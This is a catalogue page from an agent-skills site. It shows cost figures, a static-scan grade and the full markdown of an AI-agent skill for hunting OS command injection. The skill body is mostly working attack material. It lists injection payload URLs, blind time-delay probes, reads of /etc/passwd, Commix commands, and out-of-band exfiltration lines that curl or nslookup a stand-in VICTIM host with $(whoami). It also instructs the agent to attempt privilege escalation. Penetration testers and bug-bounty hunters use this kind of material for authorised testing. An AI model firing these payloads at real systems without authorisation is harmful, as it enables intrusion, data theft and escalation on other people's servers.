Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ShulkwiSEC/bb-huge --skill cmd-injectiongit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/cmd-injection)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cmd-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cmd-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cmd-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cmd-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00104 | $0.01742 |
| Opus 5 | $0.00052 | $0.00871 |
| Sonnet 5 | $0.00021 | $0.00348 |
| Haiku 4.5 | $0.00010 | $0.00174 |
Grade A, and why
cmd-injection scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
compatibility: Designed for Claude Code. Requires curl, Burp Suite or OWASP ZAP, Commix (optional). Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
OS command injection occurs when user input is passed unsanitized to a system shell via dangerous APIs: Java `Runtime.exec()`, Python `os.system/subprocess`, PHP `system/shell_exec/exec/proc_open`, C `system/exec`. Detec How it starts
The opening of the file, as written. The whole thing — 119 lines — stays where its author put it; the contents beside it link to each section on GitHub.
OS Command Injection
What Is Broken and Why
Command injection occurs when an application passes user-supplied data to a system shell without sanitization, effectively letting the attacker append their own commands. Applications that invoke OS utilities (ping, nslookup, file conversion tools, archive utilities) by constructing shell strings are particularly susceptible. The vulnerability grants attacker-level access equivalent to the web server process user, enabling file read/write, network pivoting, and privilege escalation.
Key Signals
- Application invokes OS utilities and reflects their output (ping results, DNS lookups, file listings)
- Parameters accepting hostnames, filenames, or search terms passed to shell commands
- Error messages referencing shell commands or paths (
/bin/sh,cmd.exe) - File download or conversion features that call system utilities
- Parameters containing IP addresses or hostnames processed server-side
- Dangerous functions in source:
Runtime.exec(),os.system(),shell_exec(),proc_open(),subprocess.call()
Methodology
- Identify parameters that may reach shell execution (filenames, hostnames, IDs used in system calls).
- Inject shell metacharacters one at a time:
|,;,&,&&,||,`,$(). - Append a time-delay command to detect blind injection without visible output:
; sleep 5or| ping -c 5 127.0.0.1. - Confirm execution by measuring response time difference.
- Exfiltrate data via out-of-band channel (DNS lookup or HTTP request to attacker server):
; curl http://VICTIM/$(whoami); nslookup $(whoami).VICTIM
- For Windows targets, use
ping -n 5 127.0.0.1for time delay;dirinstead ofls. - Attempt privilege escalation if running as low-privilege user.
Payloads & Tools
# Basic command chaining (Linux)
TARGET/cgi-bin/script.pl?doc=report.pdf|id
TARGET/page?host=127.0.0.1;id
TARGET/page?host=127.0.0.1&&id
TARGET/page?host=127.0.0.1||id
# Command substitution
TARGET/page?host=$(id)
TARGET/page?host=`id`
# Blind injection — time delay (Linux)
TARGET/page?host=127.0.0.1;sleep%205
TARGET/page?host=127.0.0.1|ping%20-c%205%20127.0.0.1
# Blind injection — time delay (Windows)
TARGET/page?host=127.0.0.1|ping%20-n%205%20127.0.0.1
# Blind injection — out-of-band DNS exfil
TARGET/page?host=;nslookup%20$(whoami).VICTIM
TARGET/page?host=;curl%20http://VICTIM/$(whoami)
# File read
TARGET/page?file=report.pdf;cat%20/etc/passwd
TARGET/page?file=report.pdf|type%20C:\Windows\win.ini
# PHP-specific (POST body)
Doc=Doc1.pdf+|+dir+c:\
# URL-encoded semicolon method
TARGET/something.php?dir=%3Bcat%20/etc/passwd
# Commix automated testing
commix --url="TARGET/page?host=INJECT_HERE" --technique=classic
commix --url="TARGET/page" --data="host=INJECT_HERE" --technique=timebased
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 119 lines · 104 tokens per session scan A f1d431eedecb
cmd-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 104 tokens to every session and 1,742 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
hunt-api-misconfig
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {isadmin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this…
octopus-architecture
Review system architecture, simplify boundaries, or compare interface designs from repository evidence.
agenticx-a2a-connector
Guide for using the A2A (Agent-to-Agent) communication protocol in AgenticX including agent discovery, skill invocation, remote agent cards, and distributed agent systems. Use when the user wants agents to communicate with each other, set up distributed agent systems, invoke remote agent skills, or build…
agenticx-tool-creator
Guide for creating custom tools in AgenticX including function decorator tools, MCP tool integration, tool registries, and remote tool access. Use when the user wants to create tools for agents, integrate external APIs as tools, build MCP servers, or extend agent capabilities with custom functions.
continuum-tools-mcp
Connect MCP servers (Stdio/SSE/StreamableHTTP) to a Continuum agent, configure tool filtering, set up tool-context capture/injection (e.g. sessionid), and read run artifacts (UI widgets, structured tool data). Invoke when the user asks "connect MCP", "filesystem tool", "remote API tool", "auto-capture sessionid"…
pwn-ai-openai
Drive PWN::AI::OpenAI from pwneval.